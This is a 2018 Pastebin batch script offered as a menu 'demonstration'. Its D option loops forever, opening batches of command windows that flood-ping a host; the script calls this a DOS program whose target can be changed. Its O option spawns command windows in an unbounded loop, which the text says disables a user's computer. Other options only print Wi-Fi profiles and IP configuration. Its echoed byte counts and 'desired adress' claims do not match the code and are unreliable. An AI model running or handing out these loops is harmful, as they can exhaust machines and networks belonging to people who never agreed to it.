Advertisement
Limping2p

Batch menu

Jan 15th, 2018
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @echo off
  2. cls
  3. Title Batch Menu
  4. color 6
  5.  
  6. :MENU
  7. echo .
  8. echo ORIGINAL OPTIONS
  9. echo .
  10. echo In this demonstration you will have two options.
  11. echo You can enter D for a DOS program. You can specify the packet direction and size in the code.
  12. echo Or you enter O for a open-close program that will open and close command prompt windows.
  13. echo This is a way of disabling a user/computer without frying any components directly.
  14. echo .
  15. echo .
  16. echo INFORMATION
  17. echo .
  18. echo Press I for information on you're past internet connections using the command Netsh wlan show profiles.
  19. echo If you then type netsh wlan show profiles [Name of connection] it will show information about that connection.
  20. echo Example:  Netsh wlan show profiles Internetname123
  21. echo .
  22. echo Press P for IP config information.
  23. echo This shows detailed information about your ip adress + aditional information about all compartments.
  24. echo If you want this information for yourself in your own Command prompt window use the command: ipconfig /allcompartments /all .
  25. echo .
  26. echo Make sure to use capital letters! D instead of d and so on...
  27. echo .
  28. echo Enter X to exit the program.
  29. echo .
  30.  
  31.  
  32. SET /p input=
  33.  
  34. If "%input%" equ "D" goto DOS
  35. If "%input%" equ "O" goto Opncls
  36. If "%input%" equ "X" goto Exit
  37. If "%input%" equ "I" goto Netsh
  38. If "%input%" equ "P" goto IP
  39. goto MENU
  40.  
  41. :DOS
  42. timeout -t 3
  43. goto DOSstart
  44. :DOSstart
  45. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  46. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  47. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  48. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  49. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  50. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  51. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  52. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  53. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  54. start cmd /Q /C "cls & echo 7360 bytes will be snent to desired adress. & ping -l 1472 -n 5 google.com"
  55. echo 58 880 bytes sent and recieved!
  56. timeout -NOBREAK -t 5
  57. goto DOSstart
  58.  
  59. :Opncls
  60. timeout -t 3
  61. goto Opnclsstart
  62. :Opnclsstart
  63. start cmd /c "cls & color 6 & timeout -t 1 /NOBREAK"
  64. goto Opnclsstart
  65.  
  66. :IP
  67. ipconfig /allcompartments /all
  68. pause
  69. goto Exit
  70.  
  71.  
  72. :Netsh
  73. netsh wlan show profiles
  74. pause
  75. goto Exit
  76.  
  77. :Exit
  78. exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement